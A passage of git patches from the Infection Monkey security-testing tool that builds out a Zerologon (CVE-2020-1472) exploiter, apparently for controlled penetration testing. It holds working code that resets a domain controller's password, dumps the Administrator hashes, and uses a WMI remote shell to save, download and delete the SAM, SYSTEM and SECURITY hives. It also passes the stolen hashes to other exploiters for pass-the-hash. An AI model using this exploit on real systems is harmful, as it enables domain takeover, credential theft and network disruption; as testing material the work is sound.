stream, to capture info that would otherwise be printed _orig_stdout = sys.stdout _new_stdout = io.StringIO() @@ -53,6 +54,7 @@ def _set_stdout_to_in_memory_text_stream(): def _unset_stdout_and_return_captured(): # set stdout to original and return captured output + global _orig_stdout, _new_stdout sys.stdout = _orig_stdout _new_stdout.seek(0) return _new_stdout.read() @@ -72,8 +74,8 @@ class ZerologonExploiter(HostExploiter): 'exec_method': 'smbexec', 'hashes': None, 'history': False, - 'is_remote' True, - 'just_dc': True, + 'is_remote': True, + 'just_dc': True, # becomes False in a copy in get_original_pwd_nthash() 'just_dc_ntlm': False, 'just_dc_user': None, 'k': False, @@ -100,7 +102,7 @@ class ZerologonExploiter(HostExploiter): self.zerologon_finger = ZerologonFinger() def _exploit_host(self): - DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details() + DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host) if self.is_exploitable(): LOG.info("Target vulnerable, changing account password to empty string.") @@ -211,9 +213,9 @@ class ZerologonExploiter(HostExploiter): options['target_ip'] = DC_IP options['dc_ip'] = DC_IP - dumped_secrets = self.get_dumped_secrets(options=options + dumped_secrets = self.get_dumped_secrets(options=options, remote_name=DC_IP, - username=DC_NAME) + username=f"{DC_NAME}$") for secret in dumped_secrets: if 'Administrator' in secret: hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::" @@ -227,6 +229,7 @@ class ZerologonExploiter(HostExploiter): for name in ['system', 'sam', 'security']: options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') options['dc_ip'] = DC_IP + options['just_dc'] = False dumped_secrets = self.get_dumped_secrets(options=options, remote_name='LOCAL') @@ -253,17 +256,17 @@ class ZerologonExploiter(HostExploiter): _set_stdout_to_in_memory_text_stream() # Save HKLM keys on victim. - shell.onecmd('reg save HKLM\SYSTEM system.save && ' + - 'reg save HKLM\SAM sam.save && ' + - 'reg save HKLM\SECURITY security.save') + remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + + 'reg save HKLM\\SAM sam.save && ' + + 'reg save HKLM\\SECURITY security.save') # Get HKLM keys locally (can't run these together because it needs to call do_get()). - shell.onecmd('get system.save') - shell.onecmd('get sam.save') - shell.onecmd('get security.save') + remote_shell.onecmd('get system.save') + remote_shell.onecmd('get sam.save') + remote_shell.onecmd('get security.save') # Delete saved keys on victim. - shell.onecmd('del /f system.save sam.save security.save') + remote_shell.onecmd('del /f system.save sam.save security.save') info = _unset_stdout_and_return_captured() LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") @@ -294,7 +297,7 @@ class ZerologonExploiter(HostExploiter): # It worked! assert server_auth['ErrorCode'] == 0 - server_auth.dump() + # server_auth.dump() session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) @@ -312,10 +315,10 @@ class ZerologonExploiter(HostExploiter): request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = DC_NAME + '\x00' request["Authenticator"] = authenticator - pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), sessionKey) + pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key) request["UasNewPassword"] = pwd_data resp = rpc_con.request(request) - resp.dump() + # resp.dump() except Exception as e: LOG.info(f"Unexpected error: {e}") @@ -554,32 +557,30 @@ class DumpSecrets: class Wmiexec: OUTPUT_FILENAME = '__' + str(time.time()) - def __init__(self, ip, username, hashes, password='', domain='', share=None, noOutput=False): + def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'): self.__ip = ip self.__username = username self.__password = password self.__domain = domain self.__lmhash, self.__nthash = hashes.split(':') self.__share = share - self.__noOutput = noOutput self.shell = None def run(self): - if self.__noOutput is False: - smbConnection = SMBConnection(self.__ip, self.__ip) - smbConnection.login(user=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash) + smbConnection = SMBConnection(self.__ip, self.__ip) + smbConnection.login(user=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash) - dcom = DCOMConnection(target=self.__ip, - username=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash, - oxidResolver=True) + dcom = DCOMConnection(target=self.__ip, + username=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) @@ -589,7 +590,7 @@ class Wmiexec: win32Process, _ = iWbemServices.GetObject('Win32_Process') - self.shell = RemoteShell(self.__share, win32Process, smbConnection, OUTPUT_FILENAME) + self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.OUTPUT_FILENAME) return self.shell except (Exception, KeyboardInterrupt) as e: @@ -612,7 +613,7 @@ class RemoteShell(cmd.Cmd): self.__win32Process = win32Process self.__transferClient = smbConnection self.__pwd = str('C:\\') - self.__noOutput = True + self.__noOutput = False # We don't wanna deal with timeouts from now on. if self.__transferClient is not None: diff --git a/monkey/infection_monkey/network/zerologon_fingerprint.py b/monkey/infection_monkey/network/zerologon_fingerprint.py index d281ad373..987cfec25 100644 --- a/monkey/infection_monkey/network/zerologon_fingerprint.py +++ b/monkey/infection_monkey/network/zerologon_fingerprint.py @@ -22,7 +22,7 @@ class ZerologonFinger(HostFinger): Checks if the Windows Server is vulnerable to Zerologon. """ - DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details() + DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details(host) if DC_NAME: # if it is a Windows DC # Keep authenticating until successful. @@ -55,8 +55,8 @@ class ZerologonFinger(HostFinger): LOG.info('Error encountered; most likely not a Windows Domain Controller.') return False - def get_dc_details(self): - DC_IP = self.host.ip_addr + def get_dc_details(self, host): + DC_IP = host.ip_addr DC_NAME = self.get_dc_name(DC_IP) DC_HANDLE = '\\\\' + DC_NAME return DC_IP, DC_NAME, DC_HANDLE From c05a48d34d3e114a7ed4bb8cb80dfca2c953e647 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 31 Jan 2021 14:47:27 +0530 Subject: [PATCH 287/466] Final exploit touches and report stuff --- monkey/infection_monkey/exploit/zerologon.py | 82 +++++++++++++------ .../cc/services/reporting/report.py | 51 ++++++++---- .../services/telemetry/processing/exploit.py | 17 ++++ 3 files changed, 106 insertions(+), 44 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index dfab6b957..e435c4a58 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -34,6 +34,7 @@ from impacket.krb5.keytab import Keytab from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SMBConnection) +from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.network.zerologon_fingerprint import ZerologonFinger @@ -45,8 +46,8 @@ _new_stdout = None def _set_stdout_to_in_memory_text_stream(): - global _orig_stdout, _new_stdout # set stdout to in-memory text stream, to capture info that would otherwise be printed + global _orig_stdout, _new_stdout _orig_stdout = sys.stdout _new_stdout = io.StringIO() sys.stdout = _new_stdout @@ -63,6 +64,7 @@ def _unset_stdout_and_return_captured(): class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _EXPLOITED_SERVICE = 'Netlogon' + EXPLOIT_TYPE = ExploitType.VULNERABILITY MAX_ATTEMPTS = 2000 OPTIONS_FOR_SECRETSDUMP =\ { @@ -100,6 +102,7 @@ class ZerologonExploiter(HostExploiter): super().__init__(host) self.vulnerable_port = None self.zerologon_finger = ZerologonFinger() + self.exploit_info['credentials'] = {} def _exploit_host(self): DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host) @@ -128,15 +131,18 @@ class ZerologonExploiter(HostExploiter): if result is not None: break + self.report_login_attempt(result=False, + user=DC_NAME) + if result['ErrorCode'] == 0: + self.report_login_attempt(result=True, + user=DC_NAME) LOG.info("Exploit complete!") else: LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") _exploited = True - ## how do i execute monkey on the exploited machine? - else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") _exploited = False @@ -216,11 +222,23 @@ class ZerologonExploiter(HostExploiter): dumped_secrets = self.get_dumped_secrets(options=options, remote_name=DC_IP, username=f"{DC_NAME}$") + user = 'Administrator' for secret in dumped_secrets: - if 'Administrator' in secret: + if user in secret: hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::" + self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1]) return ':'.join(hashes) # format - "lmhash:nthash" + def add_extracted_creds_to_exploit_info(self, user, lmhash, nthash): + self.exploit_info['credentials'].update({ + user: { + 'username': user, + 'password': '', + 'lm_hash': lmhash, + 'ntlm_hash': nthash + } + }) + def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes): return @@ -251,7 +269,7 @@ class ZerologonExploiter(HostExploiter): hashes=admin_pwd_hashes, domain=DC_IP) - remote_shell = wmiexec.run() + remote_shell = wmiexec.get_remote_shell() if remote_shell: _set_stdout_to_in_memory_text_stream() @@ -270,6 +288,9 @@ class ZerologonExploiter(HostExploiter): info = _unset_stdout_and_return_captured() LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") + + wmiexec.close() + return True else: @@ -566,37 +587,44 @@ class Wmiexec: self.__share = share self.shell = None - def run(self): - smbConnection = SMBConnection(self.__ip, self.__ip) - smbConnection.login(user=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash) + def connect(self): + self.smbConnection = SMBConnection(self.__ip, self.__ip) + self.smbConnection.login(user=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash) - dcom = DCOMConnection(target=self.__ip, - username=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash, - oxidResolver=True) + self.dcom = DCOMConnection(target=self.__ip, + username=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() - win32Process, _ = iWbemServices.GetObject('Win32_Process') - - self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.OUTPUT_FILENAME) - return self.shell - except (Exception, KeyboardInterrupt) as e: LOG.error(str(e)) - smbConnection.logoff() - dcom.disconnect() + self.smbConnection.logoff() + self.dcom.disconnect() + + def get_remote_shell(self): + self.connect() + win32Process, _ = self.iWbemServices.GetObject('Win32_Process') + self.shell = RemoteShell(self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME) + return self.shell + + def close(self): + self.smbConnection.close() + self.smbConnection = None + self.dcom.disconnect() + self.dcom = None # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 8b85f638d..7c45f1823 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -180,32 +180,49 @@ class ReportService: @staticmethod def get_stolen_creds(): - PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} creds = [] + + # stolen creds from system info collectors for telem in mongo.db.telemetry.find( {'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, {'data.credentials': 1, 'monkey_guid': 1} ): monkey_creds = telem['data']['credentials'] - if len(monkey_creds) == 0: - continue - origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] - for user in monkey_creds: - for pass_type in PASS_TYPE_DICT: - if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]: - continue - username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user - cred_row = \ - { - 'username': username, - 'type': PASS_TYPE_DICT[pass_type], - 'origin': origin - } - if cred_row not in creds: - creds.append(cred_row) + creds.append(ReportService._format_creds_for_reporting(telem, monkey_creds)) + + # stolen creds from exploiters + for telem in mongo.db.telemetry.find( + {'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}}, + {'data.info.credentials': 1, 'monkey_guid': 1} + ): + monkey_creds = telem['data']['info']['credentials'] + creds.append(ReportService._format_creds_for_reporting(telem, monkey_creds)) + logger.info('Stolen creds generated for reporting') return creds + @staticmethod + def _format_creds_for_reporting(telem, monkey_creds): + creds = [] + PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} + if len(monkey_creds) == 0: + continue + origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] + for user in monkey_creds: + for pass_type in PASS_TYPE_DICT: + if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]: + continue + username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user + cred_row = \ + { + 'username': username, + 'type': PASS_TYPE_DICT[pass_type], + 'origin': origin + } + if cred_row not in creds: + creds.append(cred_row) + return creds + @staticmethod def get_ssh_keys(): """ diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index e67b4182a..2b7fc718a 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -4,6 +4,7 @@ import dateutil from monkey_island.cc.encryptor import encryptor from monkey_island.cc.models import Monkey +from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import \ @@ -17,6 +18,7 @@ def process_exploit_telemetry(telemetry_json): edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) update_network_with_exploit(edge, telemetry_json) update_node_credentials_from_successful_attempts(edge, telemetry_json) + add_exploit_extracted_creds_to_config(telemetry_json) test_machine_exploited( current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']), @@ -26,6 +28,21 @@ def process_exploit_telemetry(telemetry_json): timestamp=telemetry_json['timestamp']) +def add_exploit_extracted_creds_to_config(telemetry_json): + if 'credentials' in telemetry_json['data']['info']: + creds = telemetry_json['data']['info']['credentials'] + add_system_info_creds_to_config(creds) + + for user in creds: + ConfigService.creds_add_username(creds[user]['username']) + if 'password' in creds[user] and creds[user]['password']: + ConfigService.creds_add_password(creds[user]['password']) + if 'lm_hash' in creds[user] and creds[user]['lm_hash']: + ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) + if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']: + ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + + def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json): for attempt in telemetry_json['data']['attempts']: if attempt['result']: From 9c0fc7e435e2da5993a2cd4a0aab07d06a2f74a3 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 31 Jan 2021 18:24:44 +0530 Subject: [PATCH 288/466] Changes after manual testing --- monkey/infection_monkey/exploit/zerologon.py | 4 +--- .../cc/services/attack/technique_reports/T1003.py | 11 ++++++++--- monkey/monkey_island/cc/services/reporting/report.py | 10 +++++++--- .../cc/services/telemetry/processing/exploit.py | 1 - 4 files changed, 16 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index e435c4a58..b4473c1f9 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -566,8 +566,6 @@ class DumpSecrets: if self.__NTDS_hashes: self.__NTDS_hashes.finish() -# how to execute monkey on exploited machine -# clean up logging # mention in report explicitly - machine exploited/not (return True, if yes) & password restored/not # mention patching details in report # add exploit info to documentation @@ -604,7 +602,7 @@ class Wmiexec: oxidResolver=True) try: - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) + iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index d8ee9de26..399be0992 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -12,9 +12,14 @@ class T1003(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully obtained some credentials from systems on the network." - query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}}, - # $gt: {} checks if field is not an empty object - {'data.credentials': {'$gt': {}}}]} + query = {'$or': [ + {'telem_category': 'system_info', + '$and': [{'data.credentials': {'$exists': True}}, + {'data.credentials': {'$gt': {}}}]}, # $gt: {} checks if field is not an empty object + {'telem_category': 'exploit', + '$and': [{'data.info.credentials': {'$exists': True}}, + {'data.info.credentials': {'$gt': {}}}]} + ]} @staticmethod def get_report_data(): diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 7c45f1823..c8993080f 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -188,7 +188,9 @@ class ReportService: {'data.credentials': 1, 'monkey_guid': 1} ): monkey_creds = telem['data']['credentials'] - creds.append(ReportService._format_creds_for_reporting(telem, monkey_creds)) + formatted_creds = ReportService._format_creds_for_reporting(telem, monkey_creds) + if formatted_creds: + creds.extend(formatted_creds) # stolen creds from exploiters for telem in mongo.db.telemetry.find( @@ -196,7 +198,9 @@ class ReportService: {'data.info.credentials': 1, 'monkey_guid': 1} ): monkey_creds = telem['data']['info']['credentials'] - creds.append(ReportService._format_creds_for_reporting(telem, monkey_creds)) + formatted_creds = ReportService._format_creds_for_reporting(telem, monkey_creds) + if formatted_creds: + creds.extend(formatted_creds) logger.info('Stolen creds generated for reporting') return creds @@ -206,7 +210,7 @@ class ReportService: creds = [] PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} if len(monkey_creds) == 0: - continue + return origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] for user in monkey_creds: for pass_type in PASS_TYPE_DICT: diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 2b7fc718a..e0bbc087f 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -31,7 +31,6 @@ def process_exploit_telemetry(telemetry_json): def add_exploit_extracted_creds_to_config(telemetry_json): if 'credentials' in telemetry_json['data']['info']: creds = telemetry_json['data']['info']['credentials'] - add_system_info_creds_to_config(creds) for user in creds: ConfigService.creds_add_username(creds[user]['username']) From 290385a8a0454bed82906fea8329f550985e9fc6 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 31 Jan 2021 19:38:36 +0530 Subject: [PATCH 289/466] Zerologon's success on a machine shouldn't prevent other exploit attempts on the machine (ZL gathers credentials for other exploits) --- monkey/infection_monkey/exploit/HostExploiter.py | 7 +++++++ monkey/infection_monkey/exploit/zerologon.py | 12 ++++++++++++ monkey/infection_monkey/monkey.py | 11 +++++++---- 3 files changed, 26 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 274d07329..9188c4fa7 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -35,6 +35,13 @@ class HostExploiter(Plugin): # Usual values are 'vulnerability' or 'brute_force' EXPLOIT_TYPE = ExploitType.VULNERABILITY + # Specifies whether a machine, on which the exploit was successful, should be added to the set of exploited + # machines. This would then prevent any other exploits from being attempted on it. + # Sample use case - Zerologon exploiter: + # Exploited machine gives us useful credentials which can be used, but machine isn't compromised by Zerologon + # on its own. Some other exploit using PTH needs to be exploit it. + SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = True + @property @abstractmethod def _EXPLOITED_SERVICE(self): diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index b4473c1f9..70888f54c 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -65,6 +65,7 @@ class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _EXPLOITED_SERVICE = 'Netlogon' EXPLOIT_TYPE = ExploitType.VULNERABILITY + SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = False MAX_ATTEMPTS = 2000 OPTIONS_FOR_SECRETSDUMP =\ { @@ -227,6 +228,7 @@ class ZerologonExploiter(HostExploiter): if user in secret: hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::" self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1]) + self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1]) return ':'.join(hashes) # format - "lmhash:nthash" def add_extracted_creds_to_exploit_info(self, user, lmhash, nthash): @@ -239,6 +241,16 @@ class ZerologonExploiter(HostExploiter): } }) + def add_extracted_creds_to_monkey_config(self, user, lmhash, nthash): # so other exploiters can use these creds + if user not in self._config.exploit_user_list: + self._config.exploit_user_list.append(user) + + if lmhash not in self._config.exploit_lm_hash_list: + self._config.exploit_lm_hash_list.append(lmhash) + + if nthash not in self._config.exploit_ntlm_hash_list: + self._config.exploit_ntlm_hash_list.append(nthash) + def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes): return diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 3a19e40ac..e001e6c43 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -208,7 +208,8 @@ class InfectionMonkey(object): if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() - break + if exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET: + break # if adding machine to exploited, won't try other exploits on it if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() @@ -351,7 +352,8 @@ class InfectionMonkey(object): try: result = exploiter.exploit_host() if result: - self.successfully_exploited(machine, exploiter) + self.successfully_exploited(machine, exploiter) if exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET else\ + self.successfully_exploited(machine, exploiter, False) return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) @@ -369,13 +371,14 @@ class InfectionMonkey(object): exploiter.send_exploit_telemetry(result) return False - def successfully_exploited(self, machine, exploiter): + def successfully_exploited(self, machine, exploiter, should_add_machine_to_exploited_set=True): """ Workflow of registering successfully exploited machine :param machine: machine that was exploited :param exploiter: exploiter that succeeded """ - self._exploited_machines.add(machine) + if should_add_machine_to_exploited_set: + self._exploited_machines.add(machine) LOG.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__) From 81c6de75b7ffd5ab7e33713c6f61698b0693b418 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 31 Jan 2021 20:19:01 +0530 Subject: [PATCH 290/466] Add Zerologon to documentation --- .../content/reference/exploiters/Zerologon.md | 26 +++++++++++++++++++ monkey/infection_monkey/exploit/zerologon.py | 4 --- .../definitions/exploiter_classes.py | 2 +- 3 files changed, 27 insertions(+), 5 deletions(-) create mode 100644 docs/content/reference/exploiters/Zerologon.md diff --git a/docs/content/reference/exploiters/Zerologon.md b/docs/content/reference/exploiters/Zerologon.md new file mode 100644 index 000000000..4a893142b --- /dev/null +++ b/docs/content/reference/exploiters/Zerologon.md @@ -0,0 +1,26 @@ +--- +title: "Zerologon" +date: 2021-01-31T19:46:12+05:30 +draft: false +tags: ["exploit", "windows"] +--- + +The Zerologon exploiter exploits [CVE-2020-1472](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1472). + +This exploiter is unsafe. +* It will temporarily change the target domain controller's password. +* It may break the target domain controller's communication with other systems in the network, affecting functionality. + +It is, therefore, **not** enabled by default. + + +### Description + +An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). + +To download the relevant security update and read more, click [here](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472). + + +### Notes + +* The Infection Monkey exploiter implementation is based on implementations by [@dirkjanm](https://github.com/dirkjanm/CVE-2020-1472/) and [@risksense](https://github.com/risksense/zerologon). diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 70888f54c..770118e04 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -578,10 +578,6 @@ class DumpSecrets: if self.__NTDS_hashes: self.__NTDS_hashes.finish() -# mention in report explicitly - machine exploited/not (return True, if yes) & password restored/not -# mention patching details in report -# add exploit info to documentation - # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py # Used to get HKLM keys for restoring original DC password diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 0d123ac49..f59b010d3 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -159,7 +159,7 @@ EXPLOITER_CLASSES = { "breaks communication with other domain controllers.) " "Exploits a privilege escalation vulnerability in a Windows server domain controller, " "using the Netlogon Remote Protocol (MS-NRPC).", - # "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/" + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/" } ] } From a908d31fc5307eca3d5d79e859d2b8e1b11f3c71 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 31 Jan 2021 21:45:53 +0530 Subject: [PATCH 291/466] Remove unused imports and variable --- monkey/infection_monkey/exploit/zerologon.py | 18 ++++-------------- 1 file changed, 4 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 770118e04..844bdcaa1 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -5,34 +5,25 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g from __future__ import division, print_function -import argparse import cmd -import codecs import io import logging import ntpath import os -import re import sys import time import traceback -from binascii import hexlify, unhexlify +from binascii import unhexlify import impacket -from Cryptodome.Cipher import AES, ARC4, DES -from impacket import crypto, version from impacket.dcerpc.v5 import epm, nrpc, transport from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL -from impacket.dcerpc.v5.ndr import NDRCALL -from impacket.examples import logger from impacket.examples.secretsdump import (LocalOperations, LSASecrets, NTDSHashes, RemoteOperations, SAMHashes) -from impacket.krb5.keytab import Keytab -from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21, - SMB_DIALECT, SMBConnection) +from impacket.smbconnection import SMBConnection from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter @@ -350,8 +341,7 @@ class ZerologonExploiter(HostExploiter): request["Authenticator"] = authenticator pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key) request["UasNewPassword"] = pwd_data - resp = rpc_con.request(request) - # resp.dump() + rpc_con.request(request) except Exception as e: LOG.info(f"Unexpected error: {e}") @@ -561,7 +551,7 @@ class DumpSecrets: os.unlink(resume_file) try: self.cleanup() - except: + except Exception: pass finally: dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys From 961d5f81f8c29ade20d1d566e5fe7c40f5bd8ee1 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 1 Feb 2021 13:11:16 +0530 Subject: [PATCH 292/466] Make DC details object attributes --- monkey/infection_monkey/exploit/zerologon.py | 72 ++++++++++---------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 844bdcaa1..89f072f3d 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -97,13 +97,13 @@ class ZerologonExploiter(HostExploiter): self.exploit_info['credentials'] = {} def _exploit_host(self): - DC_IP, DC_NAME, DC_HANDLE = 